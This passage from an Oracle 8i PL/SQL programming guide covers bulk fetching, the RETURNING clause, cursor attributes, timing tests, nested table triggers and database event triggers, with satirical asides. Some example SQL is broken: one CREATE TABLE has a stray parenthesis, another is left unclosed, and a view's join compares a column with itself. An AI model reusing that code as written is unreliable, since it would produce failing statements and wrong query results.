What can you do about this potentially hazardous scenario? First of all (as should be common sense in your application regardless of the use of BULK COLLECT), be careful about the queries you write and those you offer to developers and/or users to run. You shouldn't provide unrestricted access to very large tables.

You can also fall back on ROWNUM to limit the number of rows processed by your query. For example, suppose that my cars_and_trucks table has a very large number of rows of vehicles that qualify as major polluters. I could then add a ROWNUM condition to my WHERE clause and another parameter to my packaged cursor as follows:

CREATE OR REPLACE PACKAGE pollution
IS
   CURSOR major_polluters (
      typelist IN VARCHAR2, maxrows IN INTEGER := NULL)
   IS
      SELECT name, mileage
        FROM cars_and_trucks
       WHERE INSTR (typelist, vehicle_type) > 0
         AND ROWNUM < LEAST (maxrows, 10000);

   PROCEDURE get_major_polluters (
      typelist IN VARCHAR2,
      names OUT name_varray,
      mileages OUT number_varray);
END;
/

Now there is no way that anyone can ever get more than 10,000 rows in a single query -- and the user of that cursor (an individual developer) can also add a further regulatory capability by overriding that 10,000 with an even smaller number.

5.3.2 Bulk Fetching of Multiple Columns

As you have seen in previous examples, you certainly can bulk fetch the contents of multiple columns. However, you must fetch them into separate collections, one per column.

You cannot fetch into a collection of records (or objects). The following example demonstrates the error that you will receive if you try to do this:

DECLARE
   TYPE VehTab IS TABLE OF cars_and_trucks%ROWTYPE;
   gas_guzzlers VehTab;
   CURSOR low_mileage_cur IS SELECT * FROM cars_and_trucks WHERE mileage < 10;
BEGIN
   OPEN low_mileage_cur;
   FETCH low_mileage_cur BULK COLLECT INTO gas_guzzlers;
END;
/

When I run this code, I get the following somewhat obscure error message:

PLS-00493: invalid reference to a server-side object or
           function in a local context

You will instead have to write this block as follows:

DECLARE
   guzzler_type name_varray;
   guzzler_name name_varray;
   guzzler_mileage number_varray;

   CURSOR low_mileage_cur IS
      SELECT vehicle_type, name, mileage
        FROM cars_and_trucks WHERE mileage < 10;
BEGIN
   OPEN low_mileage_cur;
   FETCH low_mileage_cur BULK COLLECT
    INTO guzzler_type, guzzler_name, guzzler_mileage;
END;
/

5.3.3 Using the RETURNING Clause with Bulk Operations

You've now seen BULK COLLECT put to use for both implicit and explicit query cursors. You can also use BULK COLLECT inside a FORALL statement, in order to take advantage of the RETURNING clause.

The RETURNING clause, new to Oracle8, allows you to obtain information (such as a newly updated value for a salary) from a DML statement. RETURNING can help you avoid additional queries to the database to determine the results of DML operations that just completed.

Suppose Congress has passed a law (overriding the almost certain presidential veto) requiring that a company pay its highest-compensated employee no more than 50 times the salary of its lowest-paid employee.[1] I work in the IT department of the newly merged company Northrop-Ford-Mattel-Yahoo-ATT, which employs a total of 250,000 workers. The word has come down from on high: the CEO is not taking a pay cut, so we need to increase the salaries of everyone who makes less than 50 times his 2004 total compensation package of $145 million -- and decrease the salaries of all upper management except for the CEO. After all, somebody's got to make up for this loss in profit.

[1] Currently in the United States, the average is more like 250 times, a very inequitable situation that almost certainly causes hundreds of thousands of children to go hungry each day in our very rich nation.

Wow! I have lots of updating to do, and I want to use FORALL to get the job done as quickly as possible. However, I also need to perform various kinds of processing on the employee data and then print a report showing the change in salary for each affected employee. That RETURNING clause would come in awfully handy here, so let's give it a try.

See the onlyfair.sql file on the companion disk for all of the steps shown here, plus table creation and INSERT statements.

First, I'll create a reusable function to return the compensation for an executive:

/* Filename on companion disk: onlyfair.sql */
FUNCTION salforexec (title_in IN VARCHAR2) RETURN NUMBER
IS
   CURSOR ceo_compensation IS
      SELECT salary + bonus + stock_options +
             mercedes_benz_allowance + yacht_allowance
        FROM compensation
       WHERE title = title_in;
   big_bucks NUMBER;
BEGIN
   OPEN ceo_compensation;
   FETCH ceo_compensation INTO big_bucks;
   RETURN big_bucks;
END;
/

In the main block of the update program, I declare a number of local variables and the following query to identify underpaid employees and overpaid employees who are not lucky enough to be the CEO:

DECLARE
   big_bucks NUMBER := salforexec ('CEO');
   min_sal NUMBER := big_bucks / 50;
   names name_varray;
   old_salaries number_varray;
   new_salaries number_varray;

   CURSOR affected_employees (ceosal IN NUMBER)
   IS
      SELECT name, salary + bonus old_salary
        FROM compensation
       WHERE title != 'CEO'
         AND ((salary + bonus < ceosal / 50)
              OR (salary + bonus > ceosal / 10)) ;

At the start of my executable section, I load all this data into my collections with a BULK COLLECT query:

OPEN affected_employees (big_bucks);
FETCH affected_employees
   BULK COLLECT INTO names, old_salaries;

Then I can use the names collection in my FORALL update:

FORALL indx IN names.FIRST .. names.LAST
   UPDATE compensation
      SET salary =
          DECODE (
             GREATEST (min_sal, salary),
                min_sal, min_sal,
             salary / 5)
    WHERE name = names (indx)
    RETURNING salary BULK COLLECT INTO new_salaries;

I use DECODE to give an employee either a major boost in yearly income or an 80% cut in pay to keep the CEO comfy. I end it with a RETURNING clause that relies on BULK COLLECT to populate a third collection: the new salaries.

Finally, since I used RETURNING and don't have to write another query against the compensation table to obtain the new salaries, I can immediately move to report generation:

FOR indx IN names.FIRST .. names.LAST
LOOP
   DBMS_OUTPUT.PUT_LINE (
      RPAD (names(indx), 20) ||
      RPAD (' Old: ' || old_salaries(indx), 15) ||
      ' New: ' || new_salaries(indx)
      );
END LOOP;

Here, then, is the report generated from the onlyfair.sql script:

John DayAndNight     Old: 10500     New: 2900000
Holly Cubicle        Old: 52000     New: 2900000
Sandra Watchthebucks Old: 22000000  New: 4000000

Now everyone can afford quality housing and health care; tax revenue at all levels will increase (nobody's a better tax deadbeat than the ultra-rich), so public schools can get the funding they need. Hey, and rich people are even still rich -- just not as rich as before. Now that is what I call a humming economy!

TIP: The RETURNING column values or expressions returned by each execution in FORALL are added to the collection after the values returned previously. If you use RETURNING inside a non-bulk FOR loop, previous values are overwritten by the latest DML execution.

Previous: 5.2 Bulk DML with the FORALL Statement | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 5.4 Using Cursor Attributes
5.2 Bulk DML with the FORALL Statement | Book Index | 5.4 Using Cursor Attributes
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.4 Using Cursor Attributes

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

5.4 Using Cursor Attributes

Whenever you work with explicit and implicit cursors (including cursor variables), PL/SQL provides a set of cursor attributes that return information about the cursor. PL/SQL 8.1 adds another, composite attribute, SQL%BULK_ROWCOUNT, for use with or after the FORALL statement. All of the current attributes are summarized in Table 5.1.

Table 5.1: Cursor Attributes
Cursor Attribute | Effect
cur %FOUND | Returns TRUE if the last FETCH found a row
cur %NOTFOUND | Returns FALSE if the last FETCH found a row
cur %ISOPEN | Returns TRUE if the specified cursor is open
cur %ROWCOUNT | Returns the number of rows modified by the DML statement
SQL%BULK_ROWCOUNT | Returns the number of rows processed for each execution of the bulk DML operation

In these attributes, cur is the name of an explicit cursor, a cursor variable, or the string "SQL" for implicit cursors (UPDATE, DELETE, and INSERT statements, since none of the attributes can be applied to an implicit query). The %BULK_ROWCOUNT structure has the same semantics as an index-by table. The n th row in this pseudo index-by table stores the number of rows processed by the n th execution of the DML operation in the FORALL statement.

Let's examine the behavior of these cursor attributes in FORALL and BULK COLLECT statements by running the script found in the showattr.sql file on the disk. I start out by creating a utility function and general show_attributes procedure:

/* Filename on companion disk: showattr.sql */
CREATE OR REPLACE FUNCTION boolstg (bool IN BOOLEAN)
   RETURN VARCHAR2
IS
BEGIN
   IF bool THEN RETURN 'TRUE ';
   ELSIF NOT bool THEN RETURN 'FALSE';
   ELSE RETURN 'NULL ';
   END IF;
END;
/

CREATE OR REPLACE PROCEDURE show_attributes (
   depts IN number_varray)
IS
BEGIN
   FORALL indx IN depts.FIRST .. depts.LAST
      UPDATE emp
         SET sal = sal + depts(indx)
       WHERE deptno = depts(indx);

   DBMS_OUTPUT.PUT_LINE (
      'FOUND-' || boolstg(SQL%FOUND) || ' ' ||
      'NOTFOUND-' || boolstg(SQL%NOTFOUND) || ' ' ||
      'ISOPEN-' || boolstg(SQL%ISOPEN) || ' ' ||
      'ROWCOUNT-' || NVL (TO_CHAR (SQL%ROWCOUNT), 'NULL'));

   FOR indx IN depts.FIRST .. depts.LAST
   LOOP
      DBMS_OUTPUT.PUT_LINE (
         depts(indx) || '-' || SQL%BULK_ROWCOUNT(indx));
   END LOOP;

   ROLLBACK;
END;
/

Then I run a query to show some data and show the attributes for two different lists of department numbers, followed by a use of BULK COLLECT:

SELECT deptno, COUNT(*) FROM emp GROUP BY deptno;

DECLARE
   /* No employees in departments 98 and 99 */
   depts1 number_varray := number_varray (10, 20, 98);
   depts2 number_varray := number_varray (99, 98);
BEGIN
   show_attributes (depts1);
   show_attributes (depts2);
END;
/
DECLARE
   CURSOR allsals IS
      SELECT sal FROM emp;
   salaries number_varray;
BEGIN
   OPEN allsals;
   FETCH allsals BULK COLLECT INTO salaries;

   DBMS_OUTPUT.PUT_LINE (
      'FOUND-' || boolstg(SQL%FOUND) || ' ' ||
      'NOTFOUND-' || boolstg(SQL%NOTFOUND) || ' ' ||
      'ISOPEN-' || boolstg(SQL%ISOPEN) || ' ' ||
      'ROWCOUNT-' || NVL (TO_CHAR (SQL%ROWCOUNT), 'NULL'));
END;
/

Here is the output from this script:

DEPTNO COUNT(*)
------ ---------
    10         3
    20         5
    30         6

FOUND-TRUE  NOTFOUND-FALSE ISOPEN-FALSE ROWCOUNT-8
10-3
98-0
20-5
FOUND-FALSE NOTFOUND-TRUE  ISOPEN-FALSE ROWCOUNT-0
99-0
98-0
FOUND-NULL  NOTFOUND-NULL  ISOPEN-FALSE ROWCOUNT-NULL

From this output, we can conclude the following:

  • For FORALL, %FOUND and %NOTFOUND reflect the overall results, not the results of any individual statement, including the last (this contradicts Oracle documentation). In other words, if any one of the statements executed in the FORALL modified at least one row, %FOUND returns TRUE and %NOTFOUND returns FALSE.

  • For FORALL, %ISOPEN always returns FALSE because the cursor is closed when the FORALL statement terminates.

  • For FORALL, %ROWCOUNT returns the total number of rows affected by all the FORALL statements executed, not simply the last statement.

  • For BULK COLLECT, %FOUND and %NOTFOUND always return NULL and %ISOPEN returns FALSE because the BULK COLLECT has completed the fetching and closed the cursor. %ROWCOUNT always returns NULL, since this attribute is only relevant for DML statements.

  • The nth row in this pseudo index-by table stores the number of rows processed by the n th execution of the DML operation in the FORALL statement. If no rows are processed, then the value in %BULK_ROWCOUNT is set to 0.

The %BULK_ROWCOUNT attribute is a handy device, but it is also quite limited. Keep the following in mind:

  • Even though it looks like an index-by table, you cannot apply any methods to it.

  • %BULK_ROWCOUNT cannot be assigned to other collections. Also, it cannot be passed as a parameter to subprograms.

  • The only rows defined for this pseudo index-by table are the same rows defined in the collection referenced in the FORALL statement.

  • If you reference a row in %BULK_ROWCOUNT that is outside the defined subscripts, you will not raise a NO_DATA_FOUND error or subscript error. It will simply return a NULL value.

If I try to execute code like either of these statements:

DBMS_OUTPUT.PUT_LINE (SQL%BULK_ROWCOUNT.COUNT);

IF SQL%BULK_ROWCOUNT.FIRST IS NOT NULL

I get this error:

PLS-00332: "%BULK_ROWCOUNT" is not a valid prefix for a qualified name

All you can really do with %BULK_ROWCOUNT is reference individual rows in this special structure.

Previous: 5.3 Bulk Querying with the BULK COLLECT Clause | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 5.5 Analyzing the Impact of Bulk Operations
5.3 Bulk Querying with the BULK COLLECT Clause | Book Index | 5.5 Analyzing the Impact of Bulk Operations
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.5 Analyzing the Impact of Bulk Operations

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

5.5 Analyzing the Impact of Bulk Operations

Now that you know all about FORALL and BULK COLLECT, let's see if it's really worth the time to learn these new features. These statements are supposed to provide significant performance improvements over the context-switch-heavy, row-by-row processing of earlier versions of PL/SQL.

Let's run some tests to document the gains by running the bulktiming.sql script (using the PLVtmr package described in the Preface, in ).

Leaving out portions of the script not central to the timing, here is the code I used to compare the performance of a FOR loop and FORALL:

/* Filename on companion disk: bulktiming.sql */
BEGIN
   /* Load up the collection. */
   FOR indx IN 1..num LOOP
      pnums(indx) := indx;
      pnames(indx) := 'Part ' || TO_CHAR(indx);
   END LOOP;

   /* Do a bunch of individual inserts. */
   PLVtmr.capture;
   FOR indx IN 1..num LOOP
      INSERT INTO parts VALUES (pnums(indx), pnames(indx));
   END LOOP;
   PLVtmr.show_elapsed ('FOR loop');

   ROLLBACK;

   /* Perform the inserts via FORALL */
   PLVtmr.capture;
   FORALL indx IN 1..num
      INSERT INTO parts VALUES (pnums(indx), pnames(indx));
   PLVtmr.show_elapsed ('FORALL');

   ROLLBACK;
END;

And here are the results (drumroll, please!) for the specified number of rows (1000, 10,000, and 20,000):

FOR loop 1000 Elapsed: .39 seconds.
FORALL 1000 Elapsed: .05 seconds.

FOR loop 10000 Elapsed: 5.73 seconds.
FORALL 10000 Elapsed: .79 seconds.

FOR loop 20000 Elapsed: 10.34 seconds.
FORALL 20000 Elapsed: 1.49 seconds.

The results indicate that we can expect a single order of magnitude improvement in performance, always something to appreciate. And the timings increase in a linear fashion, giving us a comfortable feeling as to the scalability of this feature.

Finally, here is the script (minus various administrative tasks; see bulktiming.sql for all the details) I wrote to compare row-by-row fetching and BULK COLLECT:

/* Filename on companion disk: bulktiming.sql */
BEGIN
   /* Fetch the data row by row */
   PLVtmr.capture;
   FOR rec IN (SELECT * FROM parts)
   LOOP
      pnums(SQL%ROWCOUNT)  := rec.partnum;
      pnames(SQL%ROWCOUNT) := rec.partname;
   END LOOP;
   PLVtmr.show_elapsed ('Single row fetch '|| num);

   /* Fetch the data row by row */
   PLVtmr.capture;
   SELECT * BULK COLLECT INTO pnums, pnames FROM parts;
   PLVtmr.show_elapsed ('BULK COLLECT '|| num);
END;

The results are as follows for the specified number of rows:

Single row fetch 1000 Elapsed: .14 seconds.
BULK COLLECT 1000 Elapsed: .02 seconds.

Single row fetch 10000 Elapsed: 1.56 seconds.
BULK COLLECT 10000 Elapsed: .4 seconds.

Single row fetch 20000 Elapsed: 2.75 seconds.
BULK COLLECT 20000 Elapsed: 1.48 seconds.

Single row fetch 100000 Elapsed: 18.91 seconds.
BULK COLLECT 100000 Elapsed: 85.18 seconds.

Again, we see improvements in performance, but notice that the gains through BULK COLLECT diminish with high numbers of rows. In fact, for 100,000 rows, BULK COLLECT was actually much slower than the single-row fetch. I am not sure what might be causing this slowdown.

Previous: 5.4 Using Cursor Attributes | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 6. New Trigger Features in Oracle8i
5.4 Using Cursor Attributes | Book Index | 6. New Trigger Features in Oracle8i
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] New Trigger Features in Oracle8i

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book
Previous: 5.5 Analyzing the Impact of Bulk Operations Chapter 6 Next: 6.2 Database-Level Event Triggers

6. New Trigger Features in Oracle8i

Contents:
Triggers on Nested Table View Columns
Database-Level Event Triggers
Schema-Level Event Triggers

Oracle8i expands significantly the use of triggers to administer a database and publish information about events taking place within the database. By employing database triggers on the system events defined in Oracle8i, and using Oracle Advanced Queuing within those triggers, you can take advantage of the publish/subscribe capabilities of Oracle8i.

The database event publication feature allows applications to subscribe to database events just as they subscribe to messages from other applications. Trigger syntax is extended to support system and other data events on the database level or on a particular schema level. Trigger syntax also supports a CALL to a procedure as the trigger body.

You can now enable the publication of (i.e., define a programmatic trigger on) the following actions:

  • DML statements (DELETE, INSERT, and UPDATE)

  • DDL events (e.g., CREATE, DROP, and ALTER)

  • Database events (SERVERERROR, LOGON, LOGOFF, STARTUP, and SHUTDOWN)

Here are the new trigger features available in Oracle8i:

Triggers on nested table columns

Use of the CAST...MULTISET operation allows you to trigger activity when only an attribute in a nested table column is modified.

Database-level (also known as system-level) event triggers

You can now define triggers to respond to such database-level events as LOGON, DATABASE SHUTDOWN, and even SERVERERROR.

Schema-level (also known as user-level) event triggers

You can now define triggers to respond to such schema-level events as CREATE, DROP, and ALTER.

6.1 Triggers on Nested Table View Columns

Oracle8 Release 8.0 allowed developers to create INSTEAD OF triggers, which could then be applied to any view but were especially handy with object views and any inherently unmodifiable view. Oracle8i expands further the usefulness of triggers by allowing you to define a trigger to fire when one or more attributes of a nested table view column are modified. This feature allows you to change an element of a collection synthesized using the CAST...MULTISET operation.

Figure 6.1 illustrates the ability of the nested table trigger to zoom inside the outer table structure and respond to changes made to the nested table.

Figure 6.1: Nested table trigger fired by change to nested table

Let's walk through an example illustrating the steps you would take to achieve this effect (use the nesttrig.sql file on the companion disk to run all of the following statements in sequence). I'll use membership in the National Rifle Association as an example here. Using the NRA slogan (but not necessarily the belief of all its members) "Guns don't kill people, people kill people" and a little sleight of hand, I've generated the following two relational tables:

/* Filename on companion disk: nesttrig.sql */
CREATE TABLE nra_members (
   person_id INTEGER,
   last_name VARCHAR2(100),
   first_name VARCHAR2(20),  );
   age NUMBER);

CREATE TABLE non_killers (
   person_id INTEGER,
   gun_name VARCHAR2(75)

I want to build an object view over these two tables that implements the non_killers table as a nested table column. First I must create two object types (a bug in Oracle 8.1.5 requires that I create a table of objects, rather than scalars, for the nested table column to function properly):

CREATE OR REPLACE TYPE gun_name_ot AS OBJECT (
   gun_name VARCHAR2(75)
);
/
CREATE OR REPLACE TYPE non_killer_t
    AS TABLE OF gun_name_ot;
/
CREATE OR REPLACE TYPE nra_member_t
AS OBJECT (
   person_id INTEGER,
   last_name VARCHAR2(100),
   first_name VARCHAR2(12),
   age INTEGER,
   gun_names non_killer_t
);
/

Now I can create my object view, using CAST...MULTISET to convert my normalized relational table into a nested table column:

CREATE OR REPLACE VIEW nra_members_ov
   OF nra_member_t
   WITH OBJECT OID (person_id)
AS
   SELECT luvguns.person_id,
          luvguns.last_name,
          luvguns.first_name,
          luvguns.age,
          CAST (MULTISET (
             SELECT gun_name
               FROM non_killers bestfriend
              WHERE bestfriend.person_id =
                    bestfriend.person_id)
            AS non_killer_t)
FROM nra_members luvguns;

Once I have this view in place, I also need to provide INSTEAD OF triggers to allow a user to update, insert, or delete through the view, making the illusion of my use of objects complete. These capabilities have been present since Oracle 8.0, so I will not repeat the code here (see the nesttrig.sql trigger named nra_members_nest_insert for an example). I will, instead, focus on the new nested table trigger capability.

Here is the trigger definition; notice that the only difference is the line in bold, indicating that the trigger applies only to the specified nested table:

/* Filename on companion disk: nesttrig.sql */
CREATE OR REPLACE TRIGGER nra_members_gun_rename
INSTEAD OF INSERT OR UPDATE

ON NESTED TABLE gun_names OF nra_members_ov
BEGIN
   IF INSERTING
   THEN
      INSERT INTO non_killers (person_id, gun_name)
      VALUES (:PARENT.person_id, :NEW.gun_name);
   END IF;

   IF UPDATING
   THEN
      UPDATE non_killers
         SET gun_name = :NEW.gun_name
       WHERE gun_name = :OLD.gun_name
         AND person_id = :PARENT.person_id;
   END IF;
END;
/

Let's try it out. I inserted Charlton Heston (national spokesperson of the NRA as of May 1999) and hypothetical information about his guns into the two tables:

INSERT INTO nra_members (
   person_id, last_name, first_name, age)
VALUES (100, 'HESTON', 'CHARLTON', 70);

INSERT INTO non_killers (
   person_id, gun_name)
   VALUES (100, 'COLT-45');
INSERT INTO non_killers (
   person_id, gun_name)
   VALUES (100, 'M-16');
INSERT INTO non_killers (
   person_id, gun_name)
   VALUES (100, 'DOUBLE-BARRELED JUSTICE');

Suppose then that Charlton Heston undergoes a sea change in philosophy. To demonstrate his new principles, he renames each of his guns, stored in that nested table. Here is the update in a single statement:

UPDATE TABLE (SELECT gun_names
                FROM nra_members_ov
               WHERE person_id = 100)
   SET gun_name =
         DECODE (gun_name,
           'COLT-45', 'Pretty Pony',
           'M-16', 'I Love Mom',
           'DOUBLE-BARRELED JUSTICE', 'Peace on Earth',
           gun_name);

I use the TABLE...SELECT combination to extract just the nested table column from the object view. The SET clause then applies to the attributes of that nested table.

TIP: Tests indicate that these new nested table triggers will fire only when the DML action occurs on the nested table column, and not on any other columns in the table.

Previous: 5.5 Analyzing the Impact of Bulk Operations | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 6.2 Database-Level Event Triggers
5.5 Analyzing the Impact of Bulk Operations | Book Index | 6.2 Database-Level Event Triggers
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] 6.2 Database-Level Event Triggers

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

6.2 Database-Level Event Triggers

Oracle8i allows you to define triggers to respond to database-level events (also known as system-level events), including the following:

  • Logon to and logoff from a schema

  • Startup and shutdown of the database

  • Response to a server error

Here is the syntax for these triggers:

CREATE [ OR REPLACE ] TRIGGER trigger_name
   { BEFORE | AFTER }
   { SERVERERROR |
     LOGON | LOGOFF |
     STARTUP | SHUTDOWN }
   ON DATABASE
BEGIN
   pl/sql_statements
END;

To create a trigger at the database level, you must have the ADMINISTER DATABASE TRIGGER system privilege. You will also need privileges to access any of the external references in the trigger's PL/SQL code.

Table 6.1 lists the different database-level events on which you may define a trigger.

Table 6.1: Database-Level Events for Trigger Definitions
Event | Description
SERVERERROR | Oracle fires the trigger whenever a server error message is logged.
LOGON | Oracle fires the trigger after a client application logs on to the database successfully.
LOGOFF | Oracle fires the trigger before a client application logs off the database.
STARTUP | Oracle fires the trigger immediately after the database is opened.
SHUTDOWN | Oracle fires the trigger just before the server starts a shutdown of an instance of the database. Note that a SHUTDOWN trigger will only fire if the database is shut down cleanly using SHUTDOWN or SHUTDOWN IMMEDIATE. If an instance shuts down abnormally (SHUTDOWN ABORT), this event will not be fired.

Each database-level event has an associated with it a set of attributes. These attributes are actually functions owned by SYS that return the values of characteristics relevant to the event. Table 6.2 lists the current set of attributes.

Table 6.2: Attributes for Database-Level Events
Name | Datatype | Description
SYSEVENT | VARCHAR2(30) | The database-level event firing the trigger; this value matches the name used in the syntax of the trigger.
LOGIN_USER | VARCHAR2(30) | The login username.
INSTANCE_NUM | NUMBER | The instance number.
DATABASE_NAME | VARCHAR2(50) | The name of the database.
SERVER_ERROR | NUMBER | This function returns the error at the n th position in the stack. You must specify a position (1 equals "top") when you call this function. For example: SERVER_ERROR(1)
IS_SERVERERROR | BOOLEAN | Returns TRUE if the specified error is on the current error stack; FALSE otherwise.

Table 6.3 lists the restrictions and attributes for each database-level event.

Table 6.3: Restrictions and Attributes for Database-Level Events
Event | Conditions/Restrictions | Attributes
SERVERERROR | You can specify a condition that will restrict the trigger to firing only when the specified exception is raised. Otherwise, it will fire for all errors. | SYSEVENT LOGIN_USER INSTANCE_NUM DATABASE_NAME SERVER_ERROR IS_SERVERERROR
LOGON | You can specify a condition using either USERID( ) or USERNAME( ). | SYSEVENT LOGIN_USER INSTANCE_NUM DATABASE_NAME
LOGOFF | You can specify a condition using either USERID( ) or USERNAME( ). | SYSEVENT LOGIN_USER INSTANCE_NUM DATABASE_NAME
STARTUP | No database operations (DML and queries) are allowed. Instead, you might start up listener programs, pin code in memory, etc. | SYSEVENT LOGIN_USER INSTANCE_NUM DATABASE_NAME
SHUTDOWN | No database operations (DML and queries) are allowed. Instead, you might shut down listener programs, run performance collection utilities that write logs to files, etc. | SYSEVENT LOGIN_USER INSTANCE_NUM DATABASE_NAME

Keep in mind the following rules when working with these triggers:

  • Whenever a database-level event trigger fires, Oracle opens an autonomous transaction, fires the trigger, and commits any DML in the trigger logic independently of the existing user transaction.

  • When defining LOGON, STARTUP, and SERVERERROR triggers, you can only specify the AFTER context. If you specify BEFORE, you will get this error:

ORA-30500: database open triggers and server error
           triggers cannot have BEFORE type

  • When defining LOGOFF and SHUTDOWN triggers, you can only specify the BEFORE context. If you specify AFTER, you will get this error:

ORA-30509: client logoff triggers cannot have AFTER type

  • You cannot define AFTER STARTUP and BEFORE SHUTDOWN triggers for a schema; these apply only to DATABASE.

  • Calls to DBMS_OUTPUT.PUT_LINE do not generate any visible output in the current session. If you want to obtain a record of actions that occurred, you will need to write information to a database table, database pipe, or operating system file. You could also use DBMS_AQ.ENQUEUE to place a message in a queue.

  • A SERVERERROR trigger will not fire for any of the following errors:

ORA-01403: no data found
ORA-01422: exact fetch returns more than requested number of rows
ORA-04030: out of process memory when trying to allocate nnn bytes
ORA-01034: ORACLE not available
ORA-01007: variable not in select list

6.2.1 Examples of Database-Level Event Triggers

There are many different ways you can use database-level event triggers to manage your database. The following examples offer some simple models from which you can build your own, more complex variations.

6.2.1.1 Pinning packages on database startup

A common requirement for a high-performance database is to pin one or more packages into shared memory. By pinning your code, it is exempted from the least recently used algorithm and will never be aged out of the shared pool area.

Before the existence of STARTUP triggers, the DBA would have to set up a script to run after the database was started. Now, I can create a STARTUP trigger like the following:

/* Filename on companion disk: startup.trg */
CREATE OR REPLACE TRIGGER pin_code_on_startup
  AFTER STARTUP ON DATABASE
BEGIN
   /* Pin the default packages of PL/SQL to
      improve runtime performance. */
   DBMS_SHARED_POOL.KEEP (
      'SYS.STANDARD', 'P');
   DBMS_SHARED_POOL.KEEP (
      'SYS.DBMS_STANDARD', 'P');
END;
/

With this trigger in place, I guarantee that all of my large code elements (including cursors, types, and triggers) and even my sequences are cached in the shared pool until the instance goes down.

If you are going to be pinning objects, you should consider building an infrastructure table to store the names of elements you want pinned. Then instead of hard-coding your pin commands in a trigger (as just shown), you could run a procedure that reads through the table and pins each element found. This approach is explained in detail in Chapter 12 of Oracle Built-in Packages.

6.2.1.2 Tracking logins to the database

Suppose that I want to keep track of logins to my database instance. To make this information available in a structured fashion, I am going to send my login information to a queue using the Oracle Advanced Queuing (AQ) facility.

These steps are illustrated in Figure 6.2. You will find all of the AQ-related steps in the aq.sql script on the companion disk; I'll concentrate on the trigger-related components here.

Figure 6.2: Logical flow of LOGON trigger

Let's start in reverse. Here is the LOGON trigger:

/* Filename on companion disk: aq.sql */
CREATE OR REPLACE TRIGGER publish_logon
AFTER LOGON ON DATABASE
BEGIN
   oraevent.put ('This is a logon');
END;
/

As you can see, there isn't much to it: every time someone logs in to the database, we'll put a message in the queue with a call to oraevent.put. So let's take a look at that procedure:

PROCEDURE oraevent.put (details_in IN VARCHAR2)
IS
   q_opts DBMS_AQ.ENQUEUE_OPTIONS_T;
   msg_props DBMS_AQ.MESSAGE_PROPERTIES_T;
   msg_handle RAW(16);
   event_l Event_t;
BEGIN
   /* Setting visibility to IMMEDIATE will
   || force the queue to "commit" before the
   || client transaction commits.
   */
   q_opts.visibility := DBMS_AQ.IMMEDIATE;
   event_l := Event_t.make(details_in);

   DBMS_AQ.ENQUEUE(queue_name => 'aqadmin.loginQ',
      enqueue_options => q_opts,
      message_properties => msg_props,
      payload => event_l,
      msgid => msg_handle);
END;

This procedure calls DMBS_AQ.ENQUEUE to place a message, or payload, in the loginQ queue. Each message is an object of type Event_t, defined as follows:

CREATE TYPE Event_t AS OBJECT (
   eventname VARCHAR2(64),
   details VARCHAR2(512),
   username VARCHAR2(30),
   timestamp DATE,
   STATIC FUNCTION make (
      details_in IN VARCHAR2) RETURN Event_t
);
/
CREATE OR REPLACE TYPE BODY Event_t
AS
   STATIC FUNCTION make (
      details_in IN VARCHAR2) RETURN Event_t
   IS
   BEGIN
      RETURN Event_t(
         SYSEVENT,
         details_in,
         LOGIN_USER,
         SYSDATE);
   END;
END;
/

The RETURN statement relies on two of the event-related functions, SYSEVENT and LOGIN_USER, to record characteristics at the time of login.

Run the aq.sql script to create all elements and then test the code by spawning a second SQL*Plus session to watch or dequeue the login messages.

6.2.1.3 Trapping system errors

The SERVERERROR event will prove to be a very handy mechanism. You can define it at the database level, which means that any error raised in any schema will be interceptable through the trigger. You can also define a trigger for this event at the schema level, limiting the scope of firing of the trigger.

Suppose that you simply want to keep track of errors raised in a particular application running on your instance. When an error occurs, you write a message to a database pipe. Another session (running asynchronously to the application users) can then wake up and dump the contents of the pipe and examine the errors.

To facilitate that process, I have created and included on the disk a package called watch. Stored in watch.pkg on the companion disk, this package allows you to watch actions and then direct a message constructed for that action to either the screen via DBMS_OUTPUT or to a pipe via DBMS_PIPE.

TIP: If you are comfortable with Oracle Advanced Queuing, you'll find that the AQ facility certainly offers a more robust architecture than the basic database pipes of DBMS_PIPE for intersession communication and logging. DBMS_PIPE, on the other hand, is easier to use and also very handy to know for a variety of development scenarios.

Using the watch package, I first create a utility procedure that I will call in my SERVERERROR triggers:

/* Filename on companion disk: serverr.trg */
CREATE OR REPLACE PROCEDURE pipe_error (
   context IN VARCHAR2, msg IN VARCHAR2)
IS
BEGIN
   /* Send the information to a pipe. */
   watch.topipe;

   /* Retrieve all system event attributes. */
   watch.action (context || ' trap_error', msg);
END;
/

I can then define a trigger at the database level that displays all of the attributes available from within this trigger:

CREATE OR REPLACE TRIGGER trap_error
